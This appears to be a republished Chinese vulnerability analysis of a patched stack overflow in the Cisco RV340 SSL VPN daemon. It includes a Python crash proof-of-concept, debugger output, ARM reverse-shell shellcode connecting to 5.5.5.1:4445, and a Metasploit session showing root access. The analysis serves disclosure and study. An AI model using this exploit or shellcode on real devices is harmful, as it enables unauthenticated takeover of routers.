网易首页 > 网易号 > 正文 申请入驻

Cisco RV340 SSL VPN 远程代码执行漏洞分析

0
分享至

本文描述的漏洞存在于Cisco RV340中,固件版本最高(包括 v1.0.03.24), Flashback 团队于 2021 年 11 月在ZDI的Pwn2Own Austin 2021比赛中首次披露。

https://www.cisco.com/c/en/us/products/routers/rv340-dual-gigabit-wan-vpn-router/index.html

思科已于2022年 2 月发布了更新的固件版本(v1.0.03.26),修复了此公告中描述的漏洞。思科添加了stack cookies、non executable stack、缓冲区大小检测并使用了内存安全函数。

未经身份验证的攻击者可通过广域网 WAN接口利用默认的 AnyConnect VPN 配置,利用SSL VPN 模块 sslvpnd 中存在的漏洞在 RV340 上实现远程代码执行。。

该漏洞利用链由两个漏洞来实现代码执行:

∎栈溢出漏洞 ( CVE-2022-20699 )

∎内存配置不正确(读-写-执行栈)

本文中的所有代码均来自固件版本 v1.0.03.22 。

此漏洞首次在OffensiveCon 2022上公开展示,该公告还发布了一个配套的Metasploit 模块,该模块实现了完整的远程漏洞利用。

https://www.offensivecon.org/speakers/2022/radek-domanski-and-pedro-ribeiro.htmlhttps://github.com/rapid7/metasploit-framework/pull/16169

1.SSL VPN 介绍

Cisco RV340 是一个 VPN 网关,它实现了几种不同的 VPN 协议。

其中之一的 Cisco AnyConnect 称为“SSL VPN”,默认情况下监听 WAN 接口上的 TCP 端口 8443。用户可以连接 Cisco VPN 客户端 (AnyConnect) 并与路由器建立 VPN 隧道。

https://www.cisco.com/c/en/us/support/docs/smb/routers/cisco-rv-series-small-business-routers/smb5535-anyconnect-licensing-for-the-rv340-series-routers.html

图 1:Cisco AnyConnect VPN 会话建立

二进制文件sslvpnd由/usr/bin/sslvpnd_monitor控制,它会不断检查sslvpnd是否正在正常运行,如果二进制文件没有运行,它将自动重新启动。

当客户端连接到sslvpnd服务时,它会产生处理请求的新线程。作为该操作的一部分,将调用FUN_00053fe8函数(connection_loop)。此函数创建两个大缓冲区,每个0x4000。

char PACKET_IN [16384];

char body_buf [16388];

它们用于保存 HTTP 请求头和 HTTP 正文。首先,PACKET_IN缓冲区被初始化,HTTP 头被读入缓冲区,最多可以保存 0x4000 字节:

memset(PACKET_IN,0,0x4000);

/* This first reads only a HTTP header, without body */

num_bytes_read = nonblocking_ssl_read(param_1,PACKET_IN,0x4000);

接下来,下面的函数会检查HTTP头部分有多大,它将结果存储在num_bytes_read局部变量中,并返回指向Header结尾的指针:

iVar3 = find_end_of_hdrs(PACKET_IN,num_bytes_read);

如果请求有正文,则将其作为下一步读取内容。它最多可读取 0x4000 字节,因此非常适合分配的空间。

if (( int )num_bytes_read < HTTP_hdr_size + Content_len_val) {

memset (body_buf, 0 , 0x4000 );

num_bytes_read = nonblocking_ssl_read (param_1,body_buf, 0x4000 );

此时,HTTP 头和正文被读入相应的缓冲区。

图 2:PACKET_IN和BODY_BUF

接下来,strncat调用一个函数,它将缓冲区一起移动到 1 个连续空间中。size 参数不会超过 0x4000,因为它受nonblocking_ssl_read读取限制。

strncat (PACKET_IN,body_buf,num_bytes_read);

因此,如果已发送整个 0x4000 字节,情况就会变得有趣。由于我们已经在PACKET_IN缓冲区中有数据,它与主体数据包连接,有效地溢出缓冲区边界。

图 3:正文溢出

一个明显的问题出现了,我们可以这样继续溢出BODY_BUF吗?

不幸的是,这似乎是不可能的。如果我们发送更多数据,BODY_BUF将首先用空字节清除,然后再读取新数据。这意味着每次调用strncpy()函数时,我们都会将最大0x4000字节连接到缓冲区的末尾。但是BODY_BUF足够大,可以保存这些数据,所以不会发生溢出。

当所有数据都被读取后,缓冲区被插入到一个特殊的队列中以进行进一步的处理。负责它的函数之一是FUN_0004abbc( sslserver_recv_data_notify_msg_insert)。这就是漏洞所在!

2.缓冲区溢出漏洞

从connection_loop函数调用sslserver_recv_data_notify_msg_insert,这里有 2 个参数很重要:

∎PACKET_IN:攻击者控制内容的缓冲区

∎num_bytes_read: 读取的总字节数,攻击者也可以控制这个参数。

sslserver_recv_data_notify_msg_insert (param_1,PACKET_IN,num_bytes_read & 0xffff ,uVar6);

sslserver_recv_data_notify_msg_insert函数栈布局如下:

pthread_t pVar1;

int iVar2;

undefined4 uVar3;

undefined4 uStack16432;

undefined4 local_402c;

undefined auStack16424 [16384]; // <- vulnerable buffer

undefined2 uStack40;

undefined4 uStack36;

栈上有一个大缓冲区,设计为最多可容纳 0x4000 字节。在函数执行的后面,memcpy()函数将数据复制到这个缓冲区中。

memcpy (auStack16424,PACKET_IN,num_bytes_read);

由于前面提到的连接这两个0x4000缓冲区的strncat()函数,此实现没有考虑缓冲区中PACKET_IN的数据长度可能高达0x8000字节。因此,当发送大数据包时,我们可以使栈缓冲区溢出并覆盖返回地址。

图 4:栈溢出

FILLER = b'\x04' * (16400)PC = b"\xcc\xcc\xcc\xcc\x00"url = "https://%s:8443/" % TARGETpayload = FILLER + PCr = requests.post(url, data=payload, verify=False)

FILLER = b'\x04' * (16400)

PC = b"\xcc\xcc\xcc\xcc\x00"

url = "https://%s:8443/" % TARGET

payload = FILLER + PC

r = requests.post(url, data=payload, verify=False)

[New Thread 30958.313]

Thread 10 "sslvpnd" received signal SIGSEGV, Segmentation fault.

[Switching to Thread 30958.313]

0xcccccccc in ?? ()

(gdb) info registers

r0 0x0 0

r1 0x81 129

r2 0x1 1

r3 0x1 1

r4 0x4040404 67372036

r5 0x4040404 67372036

r6 0xcccccccc 3435973836

r7 0x4040404 67372036

r8 0x4040404 67372036

r9 0x4040404 67372036

r10 0x4040404 67372036

r11 0x18f89c 1636508

r12 0x0 0

sp 0x704aebe8 0x704aebe8

lr 0x1 1

pc 0xcccccccc 0xcccccccc

cpsr 0x600f0010 1611595792

(gdb)

3.内存配置不当漏洞

虽然存在堆栈溢出漏洞,但我们的受控缓冲区是使用strncat()创建的。有可能注入一个终止NULL空字节,该NULL字节将被$pc获取,从而让攻击者控制程序的执行。但是,使用strncat()意味着缓冲区中不能存在空字节,这会使ROP链的构造复杂化。

sslvpnd二进制文件的数据段和文本段被映射到一个内存段,该内存段要求地址中包含空字节。

00010000-00172000 r-xp 00000000 00:0d 2279 /usr/bin/sslvpnd

00181000-00195000 rw-p 00161000 00:0d 2279 /usr/bin/sslvpnd

所有共享库都是随机的,这意味着我们需要一个信息泄漏漏洞才能可靠地知道库函数地址。也没有找到任何有用的代码可以立即实现远程执行代码,比如使用单个 ROP 指令。但是,文件映射栈地址具有读写执行RWX权限!

00010000-00172000 r-xp 00000000 00:0d 2279 /usr/bin/sslvpnd

00181000-00195000 rw-p 00161000 00:0d 2279 /usr/bin/sslvpnd

这意味着获得任意代码执行所需的只是将 shellcode 放在栈上并跳转过去。

图 5:Shellcode

当我们控制 的内容时,这似乎是放置 shellcode 的完美候选者。从我们的观察来看,由于使用了正在使用的线程,栈地址似乎非常轻微地随机化。奇怪的是,我们的缓冲区地址似乎保持不变,因为栈的一部分并不总是随机化的,而其他一些部分则是随机化的。虽然这对于利用来说非常棒,但我们对此感到困惑并且不知道为什么会发生这种情况。欢迎对此提出任何意见!

当我们控制PACKET_IN的内容时,这似乎是放置shellcode的完美位置。根据我们的观察,由于使用了线程,堆栈地址似乎很容易随机化。奇怪的是,我们的缓冲区地址是保持不变的,因为堆栈的一部分并不总是随机的,而其他部分则是随机的。虽然这对于漏洞利用来说是非常棒的,但我们对此感到困惑,不知道为什么会发生这种情况。

1.Shellcode

我们的 shellcode 是一个到 5.5.5.1:4445 的 TCP 反向 shell,使用execve()没有空字节的系统调用。shellcode 以dsb和isb指令开始,这些指令会处理 ARMv7 上的 D-cache 和 I-cache 刷新,这会确保在控制执行后 CPU 可以在栈上看到我们的 shellcode。之后,shellcode 会切换到 thumb 模式,这使我们能够编写更紧凑的 shellcode。

在构建 shellcode 时,我们必须记住它是由strncat()处理的。因此,它不能包含任何空字节,这就是为什么命令字符串以“X”字符结尾,然后在指令strb r2[r0,#7]中用空字节替换。

// Taken from Azeria's website and slightly modified

.global _start

_start:

.ARM

// Clear cache

dsb

isb

add r3, pc, #1 // switch to thumb mode

bx r3

.THUMB

// socket(2, 1, 0)

mov r0, #2

mov r1, #1

sub r2, r2

mov r7, #200

add r7, #81 // r7 = 281 (socket)

svc #1 // r0 = resultant sockfd

mov r4, r0 // save sockfd in r4

// connect(r0, &sockaddr, 16)

adr r1, struct // pointer to address, port

strb r2, [r1, #1] // write 0 for AF_INET

mov r2, #16

add r7, #2 // r7 = 283 (connect)

svc #1

// dup2(sockfd, 0)

mov r7, #63 // r7 = 63 (dup2)

mov r0, r4 // r4 is the saved sockfd

sub r1, r1 // r1 = 0 (stdin)

svc #1

// dup2(sockfd, 1)

mov r0, r4 // r4 is the saved sockfd

mov r1, #1 // r1 = 1 (stdout)

svc #1

// dup2(sockfd, 2)

mov r0, r4 // r4 is the saved sockfd

mov r1, #2 // r1 = 2 (stderr)

svc #1

// execve("/bin/sh", 0, 0)

adr r0, binsh

sub r2, r2

sub r1, r1

strb r2, [r0, #7]

push {r0, r2}

mov r1, sp

cpy r2, r1

mov r7, #11 // r7 = 11 (execve)

svc #1

eor r7, r7, r7

struct:

.ascii "\x02\xff" // AF_INET 0xff will be NULLed

.ascii "\x11\x5d" // port number 4445

.byte 5,5,5,1 // IP Address

binsh:

.ascii "/bin/shX"

当 shellcode 执行时,它将创建一个在5.5.5.1:4445监听的TCP套接字,并将stdin、stout、stderr复制到该套接字文件描述符。接收到连接后,调用execve()系统调用,生成一个/bin/sh(busybox sh),这样就可以获得root shell!

2.利用验证

msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check

[*] 5.55.55.62:8443 - The service is running, but could not be validated.

msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit

[*] Started reverse TCP handler on 5.55.55.1:4445

[*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version 5.55.55.62:41976 ) at 2022-02-10 20:12:18 +0000

id

uid=0(root) gid=0(root)

uname -a

Linux router138486 4.1.8 #2 SMP Fri Oct 22 09:50:26 IST 2021 armv7l GNU/Linux

参考及来源:https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
秋收起义有5个领导人,毛泽东成为国家主席,其余四人有何结局

秋收起义有5个领导人,毛泽东成为国家主席,其余四人有何结局

阿甘文史呀
2024-05-13 20:59:37
南京杀妻案吉星鹏被判处死刑,临刑前他全身抽搐流泪不止

南京杀妻案吉星鹏被判处死刑,临刑前他全身抽搐流泪不止

一度历史观
2024-06-14 12:56:49
别再侈谈什么民族企业了,快救救民营企业吧

别再侈谈什么民族企业了,快救救民营企业吧

清川书房
2024-04-25 19:19:14
中央批准,开除吴炜党籍

中央批准,开除吴炜党籍

鲁中晨报
2024-06-20 14:19:02
安徽订婚现场,新娘长相引发争议,朋友吐槽新郎:你是真的饿了!

安徽订婚现场,新娘长相引发争议,朋友吐槽新郎:你是真的饿了!

情感舍论汇
2024-05-22 23:32:44
经济的收缩期:三根稻草压垮了多少小老板?

经济的收缩期:三根稻草压垮了多少小老板?

永不出场的戈多
2024-06-05 17:17:53
伊涅斯塔晒被5名意大利球员包围的照片:特别的比赛 加油西班牙

伊涅斯塔晒被5名意大利球员包围的照片:特别的比赛 加油西班牙

直播吧
2024-06-20 19:30:15
上海公安开展“砺剑2024” 第十二次集中清查整治行动

上海公安开展“砺剑2024” 第十二次集中清查整治行动

警民直通车上海
2024-06-20 20:03:50
CBA只有3位球员,这辈子不可能换队,忠心耿耿

CBA只有3位球员,这辈子不可能换队,忠心耿耿

体坛狗哥
2024-06-20 22:16:22
《参考消息》品牌价值接近千亿元

《参考消息》品牌价值接近千亿元

参考消息
2024-06-19 19:52:10
邓文迪与传媒大亨、亿万富翁默多克刚结婚时的珍贵留影

邓文迪与传媒大亨、亿万富翁默多克刚结婚时的珍贵留影

视点历史
2024-06-20 21:22:51
难怪46岁袁崇焕凌迟处死,你看他都干了啥?三件事逼着崇祯杀他

难怪46岁袁崇焕凌迟处死,你看他都干了啥?三件事逼着崇祯杀他

史笔似尘钩
2024-06-17 17:21:22
毛主席目前在世的八位直系亲属,现今都有谁,过得怎么样

毛主席目前在世的八位直系亲属,现今都有谁,过得怎么样

史诗长歌
2024-05-14 15:40:02
看了张雨绮陈冠希的早年合照,才明白,周星驰可不是随便挑挑而已

看了张雨绮陈冠希的早年合照,才明白,周星驰可不是随便挑挑而已

谈娱新语
2024-05-24 22:24:07
618手机销量榜单,把人看沉默了

618手机销量榜单,把人看沉默了

小慢
2024-06-20 15:19:01
酒井法子越老越丰满!微胖身材穿蕾丝裙紧绷绷,看脸却清纯如初

酒井法子越老越丰满!微胖身材穿蕾丝裙紧绷绷,看脸却清纯如初

时髦范
2024-06-07 10:51:02
陈晓未回应离婚传言,葛斯齐揭内幕:陈妍希常年一个人回台湾

陈晓未回应离婚传言,葛斯齐揭内幕:陈妍希常年一个人回台湾

山野下
2024-06-20 11:19:08
令人惋惜!网曝陈晓净身出户也要离婚,陈妍希身材发福独自带娃

令人惋惜!网曝陈晓净身出户也要离婚,陈妍希身材发福独自带娃

深剖娱乐圈
2024-06-19 17:06:37
一个麻六记开业仪式,就能让人明白大S为什么输给马筱梅!

一个麻六记开业仪式,就能让人明白大S为什么输给马筱梅!

毒舌嬷嬷
2024-06-20 14:33:59
人民网发声引共鸣!南医大回应激起网友愤慨,招生办关闭评论区

人民网发声引共鸣!南医大回应激起网友愤慨,招生办关闭评论区

朗威谈星座
2024-06-20 20:57:59
2024-06-21 01:20:49
嘶吼RoarTalk
嘶吼RoarTalk
不一样的互联网安全新视界
7439文章数 10509关注度
往期回顾 全部

科技要闻

小米SU7流量泼天,富贵却被蔚来接住了

头条要闻

媒体:以为中国会服软 菲在南海主权之争上存低级误判

头条要闻

媒体:以为中国会服软 菲在南海主权之争上存低级误判

体育要闻

千夫所指的关系户 成了拯救葡萄牙的英雄

娱乐要闻

叶舒华参加柯震东生日聚会,五毒俱全

财经要闻

楼市新“王炸”!释放何信号?

汽车要闻

售价11.79-14.39万元 新一代哈弗H6正式上市

态度原创

家居
本地
亲子
旅游
军事航空

家居要闻

自然开放 实现灵动可变空间

本地新闻

2024·合肥印象|用崭新视角对话城市发展

亲子要闻

宝宝不过是想用洗衣机洗个袜子,却不想引起了新一轮商战!

旅游要闻

铁路儿童票新规 已有超4900万小旅客免费出行

军事要闻

以军发言人公开表示"哈马斯无法被消灭" 以政府反驳

无障碍浏览 进入关怀版